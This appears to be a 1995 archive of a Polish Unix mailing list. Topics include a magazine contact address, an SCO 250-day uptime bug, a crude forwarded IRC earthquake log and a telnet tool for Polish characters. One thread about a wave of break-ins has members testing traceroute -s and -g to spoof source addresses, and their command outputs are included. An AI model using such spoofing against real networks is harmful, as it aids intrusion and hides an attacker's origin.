  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 20:20:06 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13927; Fri, 27 Jan 95 20:18:14 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id UAA20067 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 20:20:33 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 27 Jan 1995 19:51:42 +0100
From: kompas@uci.agh.edu.pl (Piotr Piatkowski)
Message-Id: <3gbfbu$il1@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Adres do Lupusa

Kiedys na liscie pojawil sie adres do kogos z PC-Kuriera. Przekopalem
wszystkie swoje archiwalne listy, adresy, etc... ale niestety - nima.
Wiec moze ktos pamieta? Najchetniej gdyby to byl adres kogos z Unix-forum,
ale moze byc ktokolwiek z redakcji...

Kaz

--------------
Piotr Piatkowski, Uczelniane Centrum Informatyki, AGH Krakow, POLAND
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 21:40:06 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15199; Fri, 27 Jan 95 21:38:13 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA21303 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 21:40:44 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 27 Jan 1995 20:25:47 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3gbksb$i66@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501271743.RAA13787@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
> Wojciech Myszka wrote:
> > Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
> > > Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala,
> > > bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby 
> > > je napisac. Ale jestem optymista :-) 
> >   A traceroute z opcja -g? (jest na ftp.immt.pwr.wroc.pl:/pub/nettools)
> Czyzby chodzilo Ci o takie cosik?:
>      -g   Enable the IP LSRR (Loose Source Record Route) option in addition

A moze:
     -s src_addr
             Use the following IP address (which must be given as an IP num
             ber, not a hostname) as the source address in outgoing probe
             packets.  On hosts with more than one IP address, this option can
             be used to force the source address to be something other than
             the IP address of the interface the probe packet is sent on.  If
             the IP address is not one of this machine's interface addresses,
             an error is returned and nothing is sent.

? Na Sunie faktycznie zwraca blad, ale na Linuxie cos wysyla. Tylko czy to
co mowi to jeszcze nie wiem.

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 22:00:06 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15944; Fri, 27 Jan 95 21:58:16 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id WAA21609 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 22:00:30 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 27 Jan 1995 20:43:01 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3gblsl$i66@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501271743.RAA13787@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
> Wojciech Myszka wrote:
> > Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
> > > Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala,
> > > bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby 
> > > je napisac. Ale jestem optymista :-) 
> >   A traceroute z opcja -g? (jest na ftp.immt.pwr.wroc.pl:/pub/nettools)
> Czyzby chodzilo Ci o takie cosik?:
>      -g   Enable the IP LSRR (Loose Source Record Route) option in addition

A moze:
     -s src_addr
             Use the following IP address (which must be given as an IP num
             ber, not a hostname) as the source address in outgoing probe
             packets.  On hosts with more than one IP address, this option can
             be used to force the source address to be something other than
             the IP address of the interface the probe packet is sent on.  If
             the IP address is not one of this machine's interface addresses,
             an error is returned and nothing is sent.

? Na Sunie faktycznie zwraca blad. Na Linuxie cos wysyla, ale (jak widac
z wyswietlanych odpowiedzi) ma to adres lokalny.

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From krzysio@hebe.umcs.lublin.pl Fri Jan 27 22:10:07 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA16479; Fri, 27 Jan 95 22:09:07 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id VAA14262 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 21:15:55 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501272115.VAA14262@hebe.umcs.lublin.pl>
Subject: Re: Adres do Lupusa
To: polip@zsku.p.lodz.pl
Date: Fri, 27 Jan 1995 22:15:54 +0100 (MET)
In-Reply-To: <3gbfbu$il1@galaxy.uci.agh.edu.pl> from "Piotr Piatkowski" at Jan 27, 95 08:23:29 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1232      

Piotr Piatkowski wrote:
> 
> Kiedys na liscie pojawil sie adres do kogos z PC-Kuriera. Przekopalem
> wszystkie swoje archiwalne listy, adresy, etc... ale niestety - nima.
> Wiec moze ktos pamieta? Najchetniej gdyby to byl adres kogos z Unix-forum,
> ale moze byc ktokolwiek z redakcji...

Ogolnie adresem do LUPUS'a jest:

	lupus@sam.nask.com.pl

Mozna tez probowac bezposrednio do Janka Stozka:

	Jan.Stozek@f10.n480.z2.fidonet.org

Z tego co mowil mi na IRC Rafal Wiosna (naczelny Magazynu Amiga),
niedlugo bedzie tez domena: lupus.com.pl i wtedy kontakt bedzie juz
prostszy.

					Pozdrawiam,
					    -Krzysio
 
--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 22:20:08 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA17026; Fri, 27 Jan 95 22:18:14 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id WAA21750 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 22:08:57 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 27 Jan 1995 21:02:43 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3gbn1j$sd9@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3gbfbu$il1@galaxy.uci.agh.edu.pl>
Subject: Re: Adres do Lupusa

Piotr Piatkowski (kompas@uci.agh.edu.pl) wrote:
> Kiedys na liscie pojawil sie adres do kogos z PC-Kuriera. Przekopalem
> wszystkie swoje archiwalne listy, adresy, etc... ale niestety - nima.
> Wiec moze ktos pamieta? Najchetniej gdyby to byl adres kogos z Unix-forum,
> ale moze byc ktokolwiek z redakcji...
  ---
  musi byc ktokolwiek :-)
  lupus@sam.nask.com.pl

  Wojtek
From krzysio@hebe.umcs.lublin.pl Fri Jan 27 22:20:36 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA17165; Fri, 27 Jan 95 22:20:26 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id VAA14409 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 21:27:15 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501272127.VAA14409@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
Date: Fri, 27 Jan 1995 22:27:14 +0100 (MET)
In-Reply-To: <3gbksb$i66@Waldemar.mat.uni.torun.pl> from "Rafal Maszkowski" at Jan 27, 95 09:44:59 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2618      

Rafal Maszkowski wrote:
> 
> Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
> > Wojciech Myszka wrote:
> > > Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
> > > > Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala,
> > > > bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby 
> > > > je napisac. Ale jestem optymista :-) 
> > >   A traceroute z opcja -g? (jest na ftp.immt.pwr.wroc.pl:/pub/nettools)
> > Czyzby chodzilo Ci o takie cosik?:
> >      -g   Enable the IP LSRR (Loose Source Record Route) option in addition
> 
> A moze:
>      -s src_addr
>              Use the following IP address (which must be given as an IP num
>              ber, not a hostname) as the source address in outgoing probe
>              packets.  On hosts with more than one IP address, this option can
>              be used to force the source address to be something other than
>              the IP address of the interface the probe packet is sent on.  If
>              the IP address is not one of this machine's interface addresses,
>              an error is returned and nothing is sent.
> 
> ? Na Sunie faktycznie zwraca blad, ale na Linuxie cos wysyla. Tylko czy to
> co mowi to jeszcze nie wiem.
> 
To umozliwia Ci uzycie jednego z kilku IP Twojej maszyny jesli masz takie.
I owszem.. np. na SGI dziala:

hebe:/#traceroute -s 127.0.0.1 148.81.13.1traceroute to 148.81.13.1
(148.81.13.1) from 127.0.0.1, 30 hops max, 40 byte packets 1  *
*hebe:/#traceroute -s 127.0.0.1 193.59.50.100traceroute to 193.59.50.100
(193.59.50.100) from 127.0.0.1, 30 hops max, 40 byte packets 1  hebe
(193.59.50.100)  2 ms  2 ms  2 ms

... dopoty, dopoki podajesz prawdziwy swoj adres (w tym przypadku
127.0.0.1), ale jesli podasz falszywy, to:

hebe:/#traceroute -s 193.59.50.101 193.59.50.1
traceroute: bind:: Cannot assign requested address

Zas podawana tu wczesniej opcja -g nie dala zadowalajacych rezultatow w
zadnym przypadku.... :(

					Pozdrawiam,
					    -Krzysio

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+
From news.polip@cyber.ict.pwr.wroc.pl Sat Jan 28 20:41:51 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA08609; Sat, 28 Jan 95 20:37:55 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id UAA10172 for polip@zsku.p.lodz.pl; Sat, 28 Jan 1995 20:39:04 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 28 Jan 1995 19:37:13 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3ge6d9$8ve@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501272127.VAA14409@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:

> Zas podawana tu wczesniej opcja -g nie dala zadowalajacych rezultatow w
> zadnym przypadku.... :(
  ---
  Pozwala ona na sprawdzenie z miejsca A jak ida pakiety z miejsca B do C
  traceroute -g hp750ts.ita.pwr.wroc.pl apollo.int.pan.wroc.pl:

traceroute to apollo.int.pan.wroc.pl (156.17.85.1) 30 hops max, 38 byte packets
 1  wazniak.wask.wroc.pl (156.17.8.30)  4 ms  1 ms  1 ms
 2  elek.wask.wroc.pl (156.17.254.65)  2 ms  2 ms  2 ms
 3  hp750ts.ita.pwr.wroc.pl (156.17.30.10)  3 ms  3 ms  3 ms
 4  elek.wask.wroc.pl (156.17.30.30)  3 ms  3 ms  4 ms
 5  wazniak.wask.wroc.pl (156.17.254.66)  4 ms  4 ms  4 ms
 6  centrum.wask.wroc.pl (156.17.254.251)  5 ms  5 ms  5 ms
 7  156.17.254.98 (156.17.254.98)  11 ms  11 ms  9 ms
 8  * * *
 9  * * *
10  * * *
11  apollo.int.pan.wroc.pl (156.17.85.1) * *  1630 ms
    ---
    jak mi sie wydaje ma to cos wspolnego z zastosowana metoda
    adresowania pakietow - choc wszystkie informacje wracaja do
    wysylajacego

    Wojtek
From muhlig@usctoux1.cto.us.edu.pl Sun Jan 29 10:31:47 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03305; Sun, 29 Jan 95 10:27:24 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
X-Mailer: SCO System V Mail (version 3.2)
To: polip@zsku.p.lodz.pl
Date: Sun, 29 Jan 95 10:36:30 MET
Message-Id:  <9501291036.aa20565@usctoux1.cto.us.edu.pl>

To: polip@zsku.p.lodz.pl
Subject: Stabilnosc systemu SCO
Newsgroups: biz.sco.general
Organization: Silesian University, Katowice, Poland

Forwarduje dla niedowiarkow kolejny dowod stabilnosci systemu SCO.
Ludzie maja problemy z systemem, gdy dziala on dluzej niz 250 dni :-).

Maciek Uhlig

--

>>>>> "Bela" == Bela Lubkin <belal@sco.com> writes:

    Bela> Mark Saltzman wrote:
    >> I seem to remember a posting here a while back (from Bela, I
    >> think) about problems for sco after running for >= 250 days.  I
    >> have a machine running odt 3.0 which started acting strangely
    >> on its 250th day.  Does anyone remember this post or have any
    >> other information?

    Bela> It's true: the kernel variable lbolt, which counts the
    Bela> number of 100Hz timer ticks since boot, goes negative.
    Bela> Various parts of the kernel which do timeouts by comparing a
    Bela> saved lbolt value with the current value get very confused.
    Bela> Work has been done to fix this in our next release, but too
    Bela> many pieces must change for it to be applicable to ODT 3.0
    Bela> systems.  Solution?  If some other force like the local
    Bela> power company or a hard disk crash doesn't do it for you,
    Bela> reboot your system at least once every 250 days.

    >> Bela<

Thanks so much for the response!  It really saved me a lot of
uncomfortable explaining for my customer.

-mark


--
----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From turek@aa.washington.edu Sun Jan 29 10:35:11 1995
Received: from challenger.aa.washington.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03441; Sun, 29 Jan 95 10:33:27 +0100
Return-Path: <turek@aa.washington.edu>
Received: from laima.aa.washington.edu by challenger.aa.washington.edu
	(5.65/UW-NDC Revision: 2.28 ) id AA15110; Sun, 29 Jan 95 01:39:43 -0800
Date: Sun, 29 Jan 1995 01:39:40 -0800 (PST)
From: Chad Turek <turek@aa.washington.edu>
To: informatics <informat-l@ieitpp.poz.edu.pl>, polip <polip@zsku.p.lodz.pl>
Subject: LINUX and QUAKE!! was QUAKE (fwd)
Message-Id: <Pine.ULT.3.91.950129013415.21520B-100000@laima.aa.washington.edu>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Nie calkiem na temat.

Rozmowa Linux users podczas trzesienia ziemi z Seattle 01/28/95 o 7:11.  
(uwierzcie mi te 5.0 poprzekrecalo mi fonty na ekranie)

		-------------------?-------------------
		Chad Turek              
		turek@aa.washington.edu
		University of Washington
		dept. of Aeronautics and Astronautics
		Seattle, WA
		-------------------?-------------------
---------- Forwarded message ----------
Date: Sat, 28 Jan 95 19:32:36 -0800
From: Randy Chapman <chapman@u.washington.edu>
To: Multiple recipients of list <humor@u.washington.edu>
Subject: QUAKE!!

<billy> but i mailed them asking and no one responded
<billy> I was supposed to buy it for #Linux about 3 weeks ago
<Thaddeus> we're having a fuckign earthquake!?!?SDF
<Thaddeus> OH SHIT
<billy> no one from there ever answered me
<Thaddeus> HOLY SHITY
<Jalapeno_> jzc: ok.
<Thaddeus> OOH FUCK
<thrashgod> thad : hold on..
* billy pats thaddues on the head
<thrashgod> hehehe
<billy> grab someone's tits
* thrashgod turns on CNN..
<billy> its a perfect excuse
<Thaddeus> JUUSZUS fuck it's still going
<thrashgod> and sees the response time
<Thaddeus> HOLY SHIYT
<QJ> in washington?
<Thaddeus> my god I'm fucking shaking
<argon> stand under a doorway..
<Thaddeus> adrenalin
<cairnss> Anybody know about the Alpha linux port


From PAWLAK@zeubac.desy.de Sun Jan 29 12:31:48 1995
Received: from AXDSYA.desy.de by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05357; Sun, 29 Jan 95 12:31:27 +0100
Return-Path: <PAWLAK@zeubac.desy.de>
Received: from DECNET-MAIL (PAWLAK@ZEUBAC)
 by vxdesy.desy.de (PMDF V4.3-11 #6950) id <01HMF345DDVK90NJ9Y@vxdesy.desy.de>;
 Sun, 29 Jan 1995 12:38:10 +0100
Date: Sun, 29 Jan 1995 12:38:10 +0100
From: Jerzy Michal Pawlak <PAWLAK@zeubac.desy.de>
Subject: Re: Stabilnosc systemu SCO
To: polip@zsku.p.lodz.pl
Message-Id: <01HMF345E80Y90NJ9Y@vxdesy.desy.de>
X-Vms-To: VXDESY::IN%"polip@zsku.p.lodz.pl"
X-Vms-Cc: PAWLAK
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-Transfer-Encoding: 7BIT

>Forwarduje dla niedowiarkow kolejny dowod stabilnosci systemu SCO.
>Ludzie maja problemy z systemem, gdy dziala on dluzej niz 250 dni :-).
>
>Maciek Uhlig
> [...] (tu opis buga w systemie wymuszajacego reboot co jakis czas)
>
Sorry Macku, to co poslales jest dowodem NIE-stabilnosci systemu SCO...
W moim slowniku 'stabilny' oznacza (w odniesieniu do systemu operacyjnego)
jez bedzie w zasadzie funkcjonowal poprawnie nieskonczenie dlugo (no, 
powiedzmy znacznie dluzej niz czas zycia komputera), o ile nie przeszkodzi 
mu w tym awaria sprzetu. System SCO ma jak widac wbudowane 'w zasadzie' 
ograniczenie rzedu pol roku - czyli stabilny w tym sensie nie jest...

Inna rzecz, ze w porownaniu z wieloma innym systemami to nie jest az tak
zle :-)

JMP
From krzysio@hebe.umcs.lublin.pl Sun Jan 29 16:41:50 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07939; Sun, 29 Jan 95 16:39:28 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id PAA18841 for polip@zsku.p.lodz.pl; Sun, 29 Jan 1995 15:46:47 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501291546.PAA18841@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
Date: Sun, 29 Jan 1995 16:46:46 +0100 (MET)
In-Reply-To: <3ge6d9$8ve@sun1000.ci.pwr.wroc.pl> from "Wojciech Myszka" at Jan 28, 95 08:46:04 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1712      

Wojciech Myszka wrote:

> > Zas podawana tu wczesniej opcja -g nie dala zadowalajacych rezultatow w
> > zadnym przypadku.... :(
>   ---
>   Pozwala ona na sprawdzenie z miejsca A jak ida pakiety z miejsca B do C
>   traceroute -g hp750ts.ita.pwr.wroc.pl apollo.int.pan.wroc.pl:
> 
> traceroute to apollo.int.pan.wroc.pl (156.17.85.1) 30 hops max, 38 byte packets
>  1  wazniak.wask.wroc.pl (156.17.8.30)  4 ms  1 ms  1 ms
>  2  elek.wask.wroc.pl (156.17.254.65)  2 ms  2 ms  2 ms
>  3  hp750ts.ita.pwr.wroc.pl (156.17.30.10)  3 ms  3 ms  3 ms
>  4  elek.wask.wroc.pl (156.17.30.30)  3 ms  3 ms  4 ms
>  5  wazniak.wask.wroc.pl (156.17.254.66)  4 ms  4 ms  4 ms
>  6  centrum.wask.wroc.pl (156.17.254.251)  5 ms  5 ms  5 ms
>  7  156.17.254.98 (156.17.254.98)  11 ms  11 ms  9 ms
>  8  * * *
> 11  apollo.int.pan.wroc.pl (156.17.85.1) * *  1630 ms
>     ---
>     jak mi sie wydaje ma to cos wspolnego z zastosowana metoda
>     adresowania pakietow - choc wszystkie informacje wracaja do
>     wysylajacego

Wlasnie... a u nas niestety tak to nie zadzialalo :(

					Pozdrawiam,
					   -Krzysio
--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From news.polip@cyber.ict.pwr.wroc.pl Sun Jan 29 20:01:52 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10107; Sun, 29 Jan 95 19:57:38 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA28233 for polip@zsku.p.lodz.pl; Sun, 29 Jan 1995 19:50:26 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 29 Jan 1995 19:37:41 +0100
From: kompas@uci.agh.edu.pl (Piotr Piatkowski)
Message-Id: <3ggn9l$frg@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501272115.VAA14262@hebe.umcs.lublin.pl>
Subject: Re: Adres do Lupusa

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
: Ogolnie adresem do LUPUS'a jest:
: 	lupus@sam.nask.com.pl

Wielkie dzieki wszystkim ktorzy odpowiedzieli :-)

Kaz

--------------
Piotr Piatkowski, Uczelniane Centrum Informatyki, AGH Krakow, POLAND
From news.polip@cyber.ict.pwr.wroc.pl Sun Jan 29 22:41:53 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12060; Sun, 29 Jan 95 22:37:38 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id WAA00294 for polip@zsku.p.lodz.pl; Sun, 29 Jan 1995 22:29:16 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 29 Jan 1995 21:25:54 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3gh152$oik@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501291546.PAA18841@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:

> Wlasnie... a u nas niestety tak to nie zadzialalo :(
  ---
  Nie kazda wersja traceroute na to pozwala. Polecam (cytowane juz)
  ftp.immt.pwr.wroc.pl:/pub/nettools
  Wojtek
From krzysio@hebe.umcs.lublin.pl Sun Jan 29 23:56:53 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13377; Sun, 29 Jan 95 23:55:53 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id XAA20472 for polip@zsku.p.lodz.pl; Sun, 29 Jan 1995 23:03:18 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501292303.XAA20472@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
Date: Mon, 30 Jan 1995 00:03:18 +0100 (MET)
In-Reply-To: <3gh152$oik@sun1000.ci.pwr.wroc.pl> from "Wojciech Myszka" at Jan 29, 95 10:46:32 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1120      

Wojciech Myszka wrote:
> 
> Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
> 
> > Wlasnie... a u nas niestety tak to nie zadzialalo :(
>   ---
>   Nie kazda wersja traceroute na to pozwala.i

To bylaby niezla afera, poniewaz wg. manuala systemowego powinno dzialac, co
wiecej sam informuje, ze posiada opcje -g. Niestety nie udalo mi sie jej
zmusic do pracy. Moze ktos uzywal opcji -g w traceroute pod systemem IRIX
v5.2 na jakimkolwiek Silicon graphics? :)

					Pozdrawiam,
					   -Krzysio

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 30 03:20:08 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA16079; Mon, 30 Jan 95 03:17:34 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id DAA04200 for polip@zsku.p.lodz.pl; Mon, 30 Jan 1995 03:20:46 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 30 Jan 1995 02:51:36 +0100
From: kompas@uci.agh.edu.pl (Piotr Piatkowski)
Message-Id: <3ghgn8$bka@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Telnet z ogonkami


Udalo mi sie stworzyc wersje telbina ktora radzi sobie z ogonkami.
Dodalem do tego program 'ogonki' Andrzeja Gorbiela, dwie strony opisu
i zrobila sie calkiem zgrabna paczuszka. Jakby ktos chcial sprawdzic
jak dziala to chetnie widze wszelkie uwagi/opinie. Pozwole sobie 
dolaczyc ponizej plik z opisem pakietu, zeby Was zorientowac o co
wlasciwie chodzi:


                              
